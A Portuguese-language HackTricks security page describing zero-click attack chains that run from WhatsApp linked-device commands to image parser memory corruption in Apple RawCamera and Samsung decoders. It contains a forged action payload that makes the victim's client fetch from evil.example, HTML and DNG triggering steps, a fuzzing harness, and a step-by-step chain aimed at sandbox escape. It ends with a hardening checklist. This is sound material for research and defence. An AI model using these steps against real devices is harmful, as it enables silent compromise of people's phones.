Zero-click Messaging → Image Parser Chains

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

TL;DR

  • Trate messaging app multi-device/companion protocols como canais de controle remoto: se campos do protocolo são assumidos como provenientes de dispositivos confiáveis, eles ainda podem ser controlados pelo usuário e frequentemente podem ser reproduzidos diretamente contra uma vítima para carregar conteúdo arbitrário com 0 interação do usuário.
  • Uma vez que qualquer app possa ser coagido a buscar mídia não confiável, mire no shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) com arquivos malformados para pivotar para fora do sandbox.
  • Os bugs baseados em DNG no RawCamera e no parser da Samsung discutidos aqui são exemplos concretos, mas a técnica completa é um roteiro reutilizável para encadear logic flaws → image parser memory corruption → full device compromise.

Carregamento remoto de conteúdo via comandos linked-device do WhatsApp

Attack surface recap

A arquitetura “linked devices” do WhatsApp mantém o telefone principal e cada companion (desktop, tablet, telefone secundário) sincronizados via mensagens de protocolo estruturadas e criptografadas. Cada mensagem codifica:

  • Metadados do dispositivo (device ID, capabilities, feature flags).
  • Descritores de ação (por exemplo, sincronizar conversas, buscar miniaturas, renderizar conteúdo remoto).
  • Parâmetros arbitrários como URIs, dicas MIME, chaves de paginação, etc.

Nos clientes Apple, o handler que processa esses pacotes de controle linked-device implicitamente confiava que um pareamento válido já havia ocorrido, portanto campos de alto impacto (ex., resource_url, open_media, sync_snapshot) eram validados apenas minimamente. Uma mensagem companion maliciosa poderia então:

  1. Ser roteada para qualquer conta identificada pelo seu número de telefone.
  2. Sobreviver à pilha de transporte (Noise protocol + WhatsApp protobuf framing) porque o receptor nunca verificou que o remetente era um dispositivo legitimamente pareado.
  3. Alcançar o cliente iOS, onde o caminho de código vulnerável acionava automaticamente uma requisição HTTP(S) em segundo plano para a URL do atacante e parseava a resposta em um WebView/media renderer oculto.

Practical workflow for auditors

  1. Capturar tráfego linked-device legítimo. Anexe um debugger ou script Frida ao cliente desktop/iOS e hook no handler pós-decriptação (ex., LinkedDevicesSyncHandler::processAction). Faça dump dos payloads protobuf decodificados para aprender os tipos de ação e parâmetros disponíveis.
  2. Identificar campos que atravessam limites de confiança. Qualquer ação contendo http_url, thumbnail_uri, download_url ou render_html sem listas de permissão estritas é um candidato a primitiva de conteúdo remoto.
  3. Forjar uma ação maliciosa. Reutilize o esquema protobuf observado e modifique apenas os campos controlados pelo atacante. Uma visão JSON simplificada da estrutura lógica relevante é mostrada abaixo (o transporte real é protobuf/Noise, mas os campos semânticos correspondem):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. Entregar à vítima. Reproduza o pacote criado através do mesmo serviço do WhatsApp que normalmente encaminha o tráfego de dispositivos vinculados (por exemplo, usando um cliente desktop modificado ou um cliente Noise personalizado reaproveitando as chaves da sua conta de atacante). Como CVE-2025-55177 não vinculava ações a dispositivos autenticados, o cliente iOS/macOS da vítima aceitava a mensagem e buscava imediatamente a URL do atacante sem qualquer UI.
  2. Instrumentar a requisição. Observe o request HTTP(S) forçado e o renderizador interno (WKWebView/ImageIO). Neste ponto você possui uma primitiva de entrega web zero-click dentro do WhatsApp.

Weaponizing auto-decoded DNGs against RawCamera

Uma vez que o atacante controla o que o WhatsApp carrega, o próximo objetivo é fazer o iOS/macOS analisar um arquivo malicioso Digital Negative (DNG) com o framework RawCamera. Qualquer URL embutida em <img>/CSS que resolva para um .dng será passada para o pipeline de imagens do sistema, invocando o RawCamera mesmo que o próprio WhatsApp nunca tenha tratado DNGs explicitamente.

Triggering RawCamera from WhatsApp

  • Sirva HTML que referencia o DNG por múltiplos mecanismos (por exemplo, <img src="evil.dng">, CSS background-image: url('evil.dng'), ou fontes <picture>) para cobrir diferentes caminhos de renderização.
  • Garanta o MIME correto (image/x-adobe-dng) e previews pequenos para que o loader não desista cedo por heurísticas de tamanho.
  • A sandbox de mídia do iOS fará stream do arquivo para o RawCamera via CGImageSourceCreateWithURL, eventualmente alcançando o decoder vulnerável.

Crafting memory-corrupting DNGs (CVE-2025-43300 style)

O bug in-the-wild de 2025 foi mais específico do que um TIFF malformado genérico: o DNG transportava dados de imagem JPEG-Lossless cujo contador de componentes SOF3 interno discordava dos metadados TIFF/DNG (SamplesPerPixel). Na prática, o RawCamera podia dimensionar alguns buffers a partir dos campos TIFF externos e depois confiar no fluxo JPEG-Lossless embutido durante a decodificação, resultando na escrita fora dos limites corrigida em iOS 18.6.2 / iPadOS 18.6.2 em 20 de agosto de 2025.

Isso dá aos auditores uma regra de triagem muito mais precisa do que “mutate random tags”:

exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY

Se SamplesPerPixel e a contagem de componentes SOF3 divergirem, você está muito próximo do primitivo exato discutido publicamente para CVE-2025-43300. Alavancas adjacentes típicas que ainda valem a pena fuzzing uma vez que você tenha o parsing path são:

  • Tile/strip descriptors: Defina TileByteCounts/StripByteCounts para valores realistas, mas aumente TileOffsets para apontar além do buffer alocado.
  • Sub-IFD chains: Incorpore imagens secundárias com ImageWidth/ImageLength e BitsPerSample conflitantes, de modo que o RawCamera compute um buffer pequeno enquanto estágios posteriores confiam em dimensões controladas pelo atacante.
  • Opcode metadata: Manipule entradas OpcodeList3 de forma que o processamento por-linha opere em índices escolhidos pelo atacante.

Um harness de mutação básico para caçar tais corrupções pode ser construído em torno do macOS, já que o mesmo código RawCamera é distribuído no macOS/iOS/iPadOS:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Cada crash em RawCamera lhe dá um novo primitive. O PoC publicado alcançou um elegante out-of-bounds read/write confiável o suficiente para derrubar o WhatsApp em iPhone, iPad e Mac.

Building the 0-click chain

  1. Linked-device packet → força o WhatsApp a buscar https://evil.example/payload.html sem qualquer toque.
  2. Payload HTML → referencia silenciosamente evil.dng, garantindo que o RawCamera seja invocado pela stack de mídia do SO.
  3. Malicious DNG → abusa de tags forjadas para disparar o RawCamera OOB e crashar/tomar conta do image decoder.
  4. Post-corruption exploitation → adicionar info-leak gadgets (por exemplo, abusando de heap metadata previsível) e montar uma ROP/JOP chain para escapar do WhatsApp sandbox e alcançar contextos com mais privilégios.

Como cada etapa é automática, o atacante precisa apenas do número de telefone da vítima. Nenhuma notificação, banner ou prompt é mostrado no dispositivo alvo.

Recent Apple parser-chain patterns worth reusing

Esta cadeia WhatsApp → DNG → RawCamera segue o mesmo padrão de design visto em campanhas zero-click recentes da Apple: encontrar um alternate attachment wrapper que alcança um parser menos restrito, e então weaponize um formato de arquivo que o SO pré-visualiza prontamente.

  • BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab reportou attachments maliciosos do PassKit contendo imagens, e a Apple patchou Wallet (CVE-2023-41061) além de ImageIO (CVE-2023-41064). A análise posterior do Project Zero mostrou por que isso importa operacionalmente: o atacante não precisava apenas de um bug no parser, mas também de um container que movia o parsing de imagem para fora do caminho normal do BlastDoor e para um processo diferente. Ao auditar apps de mensagem, enumere todo tipo de attachment que dispare pré-visualizações em segundo plano em helper daemons (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), não apenas os attachments de imagem óbvios.
  • TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): A Kaspersky mostrou que um attachment malicioso do iMessage acionou a instrução não documentada Apple-only ADJUST do TrueType (CVE-2023-41990). A lição prática é que fonts são primas dos image-parsers para trabalho zero-click: pré-visualizações de rich-text, font fallback e geração de thumbnails podem se tornar pontos de entrada do parser mesmo quando o app afirma suportar apenas “documents” ou “stickers”.

A pergunta recorrente de auditoria é, portanto: quais tipos de mensagem causam parsing silencioso em um processo diferente do renderizador de chat óbvio? É geralmente aí que a cadeia começa. Para triagem de amostras e checagens de consistência cross-field uma vez que você tem um arquivo suspeito, reutilize this generic structural file-format detection page.

Samsung vendor image parser parallels

O boletim da Samsung para CVE-2025-21043 confirmou que sua stack proprietária de parsing de imagens (usada pelo Gallery, Messages e também indiretamente pelo WhatsApp) sofreu um out-of-bounds write alcançável via mídia não confiável. A metodologia de exploração espelha a cadeia da Apple:

  • Identificar um vetor de auto-preview (thumbnails de chat, pré-visualizações de notificação, share sheets) que parses o arquivo do atacante com as bibliotecas libimagecodec/libOneUI_ImageDecoder da Samsung.
  • Diferenciar updates da biblioteca OEM ou fuzzar parsers com arquivos RAW/DNG malformados até observar corrupções de memória similares ao crash do RawCamera (clobber de heap metadata, controle de registradores, etc.).
  • Entregar o arquivo forjado por qualquer canal que já carregue conteúdo automaticamente (por exemplo, o mesmo linked-device primitive, fetchers de preview do WhatsApp, ou previews de waveform push-to-talk do Android).

Uma vez que um OOB write exista no parser do vendor, combiná-lo com o WhatsApp auto-fetch primitive produz outra cadeia zero-click em dispositivos Samsung.

Testing & hardening checklist

  • Protocol validation: Aplicar listas de permissões estritas para cada ação linked-device. Comandos de companion que solicitem fetch/render devem provar o emparelhamento do dispositivo (assinando o payload) e a URL deve coincidir com uma allow-list ou um blob assinado.
  • Transport replay countermeasures: Vincular cada ação a uma chave por-dispositivo e rejeitar pacotes cuja sender key seja desconhecida, mesmo que a sintaxe protobuf esteja correta.
  • Media pipeline restrictions: Apps de alto nível devem permitir apenas MIME types aprovados e rejeitar explicitamente RAW/DNG a não ser que o recurso seja necessário.
  • Parser fuzzing regression tests: Manter um corpus de arquivos RAW/DNG malformados e executá-los contra RawCamera/vendor decoders após cada atualização.
  • Crash triage automation: Anexar sanitizers via DYLD_INSERT_LIBRARIES ou MTE em dispositivos de fuzz para capturar condições sutis de OOB antes que atacantes o façam.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks